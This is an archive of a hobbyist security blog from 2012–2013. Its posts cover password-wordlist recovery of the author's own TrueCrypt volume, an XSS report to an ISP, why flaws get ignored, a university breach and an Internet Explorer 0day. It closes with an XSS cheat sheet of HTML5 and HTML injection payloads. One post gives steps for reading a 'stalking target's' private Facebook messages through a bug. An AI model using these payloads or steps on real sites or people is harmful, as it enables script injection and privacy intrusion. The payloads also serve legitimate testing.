• RSS
  • Twitter
  • Facebook

Wednesday 15 May 2013

My Wednesday night failure: How to bruteforce Truecrypt passwords for dummies with OTFBrutus!

The last 4 hours have been traumatic for me.
It had been three weeks since I had put extra security in the way that I store my Truecrypt containers and drives. Only three weeks ago, I had formatted my portable hdd and had added a hidden drive, with a truecrypt container inside. Only three weeks ago.

I came home tonight, and while doing some of my pentesting, realised I needed access to my truecrypt. As usual, I plugged the micro-usb cord in and mounted the hidden drive without a problem. Phew! One layer of security down, only one more password left to remember for the truecrypt container.

Tensed. Stressed. Confused. Dead.

No luck. "Incorrect password or not a TrueCrypt volume."

Another try:
"Incorrect password or not a TrueCrypt volume."

"F****** hell" I thought to myself. I do info sec research and I can't even remember my own truecrypt passwords? Screw this. There has to be a way to get it back.

Let me give you a bit of insight about the password itself. It was over 20 characters, so say goodbye to traditional bruteforce technique. It was a combination of different passwords in which I had forgotten the order of (Great! I could work on this).

I quickly ran to other options, and I am going to tell you how I recovered my password. This doesn't necessarily apply to everyone and anyone (obviously I was stupid enough to forget my password in the first place) but searching about lost truecrypt passwords yielded quite a few results.

This was my flow of thought:
1. Make a list of every password I have ever had for the last year. I literally sat down with a whiteboard, closed the door, in total peace, and did this.
2. Create a script which could create a permutation of the list of passwords I had just made, hence ultimately  forming my "wordlist"
3. Find an effective software, or write my own software to actually attempt every possible combination of passwords I had recorded with the truecrypt container.

First and foremost. I recommend you download this beautiful piece of software by tateu at


This is a windows software. Sorry linux users! If you are on linux, I recommend

Anywho, back to the point. I had made my list of passwords, and I had the right software to do the job. Now all that was left was creating the permuatation script. I did this in Python (2.7)


Note: Where the code states itertools.permutations(l1, 1)) - please make sure the "1" is the right number of how deep you want the permutations to go. For example, if I had a list of "pass1", "pass2" and "pass3" and I wanted every combination for every pair, I would change the "1" to a "2". If I wanted every combination for every 3 joined strings, I would change it to a "3".

So, by running this script, it saved a text file to C:\ drive with every possible combo of pass1 pass2 and pass3 as stated in the list. Fair enough. Now all I had left to do was bruteforce my truecrypt drive.
As an example, this is how my file looked like:

Since I had an overwhelming amount of passwords, my txt file itself was over 8mb. But that was okay, because OTFBrutusGUI was able to handle it! Note: For myself, any text file over 20 mb made the program crash. In that case, use the command line version of the software, which can be found here: <= source code <= bin file

Continuing on: I entered the configurations in OTFBrutusGUI and was able to recover my TrueCrypt password. Success after 4 hours. I assure you, it was a great stress for me and I was going crazy. I had dropped absolutely everything and had taken my complete attention to getting this password back.

So relieved that I got it back. I hope you do too.

P.S. I was lucky. I stored my passwords in a manner which was logic based. My passes may have been scattered around in plain text all over the internet, but even if I were to have been compromised, the passwords were in an order which only I really knew, and it would never really be obvious to an intruder to think, "HEY THIS MUST BE A PART OF HIS TRUECRYPT PASSWORD!" Thanks for reading. Hope you enjoyed my afternoon/nighttime misery.

Monday 11 March 2013

"Douchebag" iiNet - Reported XSS, No response.

In 2012 September, I decided to responsibly disclose a few serious iiNet vulnerabilities. As a part of my beliefs, responsible disclosure is a MUST in this industry if we want to move further with a greater secure web experience for everyone.

Toying around with a few vectors on their toolbox had lead me to a GET XSS as well as HTML injection. After finding this, I decided to call iiNet and see what they had to say. Of course, I got pushed around department to department, simply because I was a good Samaritan on the internet.

Eventually, I reached an end, and I had been recommend to send an email to, doing so, I fully disclosed the vulnerability, it's effects and possible prevention methods. It took them over 3 months to fix it. Want to know what's worse? They didn't even reply.

Yes. I am talking about iiNet, considered a "good" ISP due to their "responsive" customer service. This certainly wasn't the case for me.

If you run a website or web service, and a penetration tester is willing to discuss his findings. Take the opportunity. Chances are that he or she is just trying to help, and if they are not asking for anything in return, consider him/her to be a person with decent moral standings.

The XSS vulnerabilities on iiNet are NOW fixed, but no reply has been issued to me, not even a simple two word response "Thank you".

Note: For those who wish to get any sort of proof or even perhaps a more detailed discussion about this personally, feel free to contact me.

Wednesday 17 October 2012

Security Flaws: Why are they ignored?

Nobody likes to feel vulnerable. So why do security flaws get so readily ignored by developers and administrators? This debate rages on in the security community (and probably will for a long time to come).

I personally believe there are a number of correct answers, depending upon the situation. At the end of the day, the outcome will be the same unless this attitude changes, but shedding some light on the reasons behind wilful ignorance of bugs and security flaws will hopefully encourage you, the reader, to take a closer look at yourself and see if you can change the way you look at bugs. So, without further ado, a few of the key reasons that security gets disregarded.

1. Pride

Most large infrastructure and web projects take incredible amounts of time and dedication to design, develop, debug, and deploy. A successful project should indeed be considered a source of pride for all those who were involved in it, but especially the people who brought it to what it is today, from square one.

When we consider this, it's understandable that a developer or administrator may feel embarrassed, threatened, or even insulted if somebody points out flaws in one of their creations.

This is evident in common reactions to researchers reporting vulnerabilities in software and infrastructure. Security researchers are more than often, at the very least; ignored and at the worst sometimes even face legal action, purely for trying to do the right thing with their knowledge.

2. Self-Preservation

My second big reason is self-preservation. I hate to have to say this, but not everybody in this world is looking out for the greater good and that's just the stark reality. While some people will ignore security holes for the sake of their own pride (which is self-preservation in a sense), I will still be ranking this as a separate class because it is selfish on a different level.

The software engineering industry is incredibly competitive in nature and the unskilled quickly fall to the bottom of the pecking order. In order to survive in such a hostile job market, you must stay on the cutting edge of your development area, or at least appear to be doing so.

Some developers will simply refuse to acknowledge a flaw in their code for fear of losing their job or being held accountable in some other way. They are willing to take a gamble with the risk for the sake of their own short-term job security.

Naturally, this approach can result in catastrophic damage to a company and its reputation. We need only look at Sony in the recent LulzSec attacks to see how much damage can be done to a companies reputation in a matter of minutes as a result of sloppy security.

3. Lack of Understanding

Information security is such a vast and readily expanding topic in today's digital society that is impossible for the average person to keep up with what is occurring in the security world on a regular basis. Flaws are found and exploited faster than any one person can keep up. Vulnerabilities pointed out in the early 2000's are still be actively exploited today and continue to occur in newly developed applications.

This environment is simply part of security research and the cat-and-mouse game is never going to change, however, good security practices and adequate testing are the key to risk-minimisation in the IT world. Unfortunately, many developers simply don't understand the risks associated with leaving applications unchecked for security flaws or don't possess the understanding to fix these problems, and as such, choose to ignore them.

This lack of understanding can prove just as dangerous to a companies reputation and infrastructure as the other two already mentioned. Often people with this mindset will be extremely fast to seek help or fix their projects after an attack, but sometimes, it's just too late. When a database full of credit-card details is stolen or corporate secrets are exfiltrated from a company server, the damage cannot be easily undone.

4. Laziness

Let's face it, almost nobody likes having to do extra work, especially if they don't see it as important or they see the time as better spent somewhere else. I think this one is pretty straightforward and self-explanatory, no need for more then one paragraph. The bottom line is, it needs to be done, simple as that. Either fix it yourself or get someone else to do it for you. Laziness is never an excuse and usually leads to a slippery slope of failure.

Developers and administrators of important systems need to do the mature thing and take ownership of their oversights and mistakes. Trying to hide them or transfer the blame to an innocent researcher who attempts to help them out is not helpful or productive in anyway. The more these kinds of attitudes are held, the more security researchers will be pushed into the criminal world where their skills are readily accepted with open arms and sadly but ironically, with considerably less risk of legal complications.

The "bug bounty" programs of companies such as Google, Facebook, and Paypal are a step forward in the future of security research and I hope to see similar programs implemented across a wider variety of companies soon. Who knows? Perhaps some day soon the "Bug Reporting Policy" will be as common to find in e-businesses as the "Privacy Policy" and "Contact Us" page. One can only hope...

Saturday 29 September 2012

Facebook Privacy Breach: Private messages exposed!

Well, well, well... looks like they've done it again. Facebook has created yet another serious privacy concern for their users, and it appears to be accidental, not deliberate like others (Check-In, I'm looking at you).

This time, the private messages of Facebook users have been exposed to their friends and possibly the world as a result of a bug in the new Timeline system. Thanks to this programming glitch, private messages, juicy conversations, and potential data are just a few clicks away from anyone who may wish to access them. Below are the easy steps to try this for yourself:

1. Go to your stalking targets timeline.
2. Select: 2010 from the date list down the right of the page.
3. Look at the part on their page with the heading: "14 friends posted on Targets's timeline."
4. The "wall posts" on this list are actually private messages (Image below). The replies to them is the conversation.

No doubt, this will result in some very bad press for Facebook and heads will be rolling within the development team. I wouldn't even be particularly surprised to see legal action being taken against the social media giant given the potential for leakage of private information. I can already see celebrity gossip stemming from this very glitch.

All in all, this will just be another nail in the coffin for individual privacy on the internet. How could such a glitchy piece of code be published by such a large corporation? Damned if I know, but one things for sure, it definitely isn't going to end well for Mark Zuckerberg or his clients.

Monday 24 September 2012

University of Technology Hacked? Update: UTS Breach, Users notified.

This weekend I decided that I was going to pay a visit to, the website which hackers present their "defacements" of hacked websites. Now, going through the list, it was apparent that most websites hacked weren't big targets and all simply general unsecured sites that were flowing with many vulnerabilities. However, after going through some pages, I found this:

University of Technology's servers seemed to have been breached on the 2012-09-22 01:10:38. This was only two days ago.

The server which was defaced was:

Looking through this, all I see is a blank page with a single word, "Datasearch". It seems almost as if UTS has covered up their tracks.

Through analysing the hackers message, it seems as if this was a targeted hack based on the text written, "Dear, Ugliest Tower In Sydney. Hire some staff who actually know what they are doing. BTW, I just RM -RFd you bitches. That should teach you a lesson."

Now here comes the scary bit. These hackers have not only breached the servers but they have also released the majority of some sort of staff or user database.

Going further down in the defacement we can see the details of approximately 757 people, all from UTS or linked in some way. These include usernames, passwords, emails and the works. If almost one thousand people were breached from a well known university in Australia, then why the heck has this not been reported, or been dealt with appropriately?

I have my respect for universities, but this is wrong! If a breach were to occur due to the sloppy coding on our end, the first thing I would do would be report this breach out to those affected IMMEDIATELY.

Even though the data dates back to as of 2002, you will be surprised how many people use the same passwords. Even worse, these passwords are all in plain text. How convenient for the hackers?

UTS, I don't know who you hire for your web security, and network security in general. But as for the recent hacks done on popular Australian universities (University of Sydney and UNSW), considering you pride yourself on being a university focused on technology, this is the wrong way to go.

As of yet, it seems this hasn't been blogged yet, and to me, I find that quite appalling that a breach can happen without those being affected about it knowing.

It would seem that people would be getting secure as the days go by, but honestly, it seems as if a) people are lacking in knowledge to secure themselves, or b) Hackers are excelling in breaking through that security.

That all for now,

Update: Many people have written articles on this -

They state that they detected the breach and it was an old server. Still scary news though.

Tuesday 18 September 2012

Another 0day in the wild. This time Internet Explorer.

Just recently, the internet experienced a java exploit in the wild. Now, from the same creators, a new 0day has been found affecting internet explorer as a whole. Unlike the Java exploit, which targeted the popular product of Java which has been constantly known for its crappy security, this time, malware engineers have targeted internet explorer, and have been successful.

What I find extremely stupid, is that Eric Romang ( was able to find this 0day located on the SAME server as the previous java 0day. To me, personally, I think that this exploit was not created by the people on that server but was rather distributed or sold for a very high price on the backbones of Russian blackmarkets such as antichat.

A simple diagram explains the simplicity of this vulnerability:

Source (

Microsoft suggest blocking ActiveX controls for now, and to await for the newest Internet Explorer 10 which supposedly fixes this issue. If one were smart however, he would not be using Internet Explorer at all ;)

Other than this, from my observations, this exploit has gone to total waste! Such an exploit in the blackmarkets could be sold for upto 20k a pop. Meaning that the author of this must be absolutely devastated right now.

Why would it cost so much you ask? Because think about this. As an example we shall use Russian monetizers who use malware as their main platform. The process would be exceedingly simple and profitable for them. All they would have to do is, firstly buy this exploit, secondly load their malware onto it, and thirdly buy traffic originating from developing countries such as India, Pakistan and Vietnam which are more likely to use Internet Explorer. After a constant traffic flow from their usual sources, they would have almost a 60-70% infection rate if done in the masses.

Let us calculate this. Let's say, 100k traffic was sent, 50% of this would be 50k, the Russian monetizers would have gained a 50k net in over a week. With that 50k they would be able to mine for bitcoins or simply sell their slaves as socks 5 proxies. The money in this exceeds thousands.

Anyways, enough of my rambling. It was an absolute great find, and unbelievable that the exploit was located on already blacklisted servers (how stupid?). Stay safe, and be smart. Simply don't use Internet Explorer.

P.S To check out a very in depth full analysis of code, I suggest you visit, which has a much more programmatic approach to this 0day. Also, a metasploit module has already been created for this vulnerability.

Saturday 15 September 2012

XSS Cheat Sheet! Including HTML 5 Vectors.

HTML5 Vectors -

Vectors by Gareth Heyes
Some vectors also from HTML5Sec
Regular Vectors from RSnake

HTML5 Web Applications
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>

<keygen autofocus onfocus=alert(1)>
<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>

<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>

<video onerror="javascript:alert(1)"><source></source></video>

<form><button formaction="javascript:alert(1)">X</button> 
<body oninput=alert(1)><input autofocus>

<frameset onload=alert(1)
HTML Web Applications
<BASE HREF="javascript:alert('XSS');//">
<BGSOUND SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS');">
<BODY ONLOAD=alert('XSS')>
The fuzzdb including hundreds of XSS vectors.